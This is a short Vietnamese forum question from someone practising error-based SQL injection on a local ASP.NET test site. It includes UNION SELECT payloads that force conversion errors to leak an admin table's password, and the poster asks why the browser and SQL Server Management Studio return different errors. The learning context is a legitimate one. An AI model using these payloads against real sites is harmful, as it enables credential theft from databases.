cho em hỏi cái em dùng SQL sever 2005 ,em dùng phần mềm SQL Server Management Studio Express để code
em dùng câu lệnh sau:
select * from san_Pham union select convert(int,GardenpassWorld+'a'),'1','1','1','1','1','1' from admin_Garden
lỗi hiên trên SQL Server Management:
Conversion failed when converting the nvarchar value '123456a' to data type int.
nhưng khi em chèn mã lệnh vào :http://localhost/theGarden/DetailProduct.aspx?id=7 union select convert(int,GardenpassWorld+'a'),'1','1','1','1','1','1' from admin_Garden
lôi hiên trên trình duyệt: Incorrect syntax near 'a'.
cho em hỏi sao lại báo lỗi khác nhau thế ạ ,vì câu lệnh sau thì báo lỗi giống nhau
select * from san_Pham union select stuff(GardenpassWorld,1,1,'a'),'1','1','1','1','1','1' from admin_Garden
Conversion failed when converting the nvarchar value 'a23456' to data type int.
Em đánh sai gì mong các anh thông cảm
|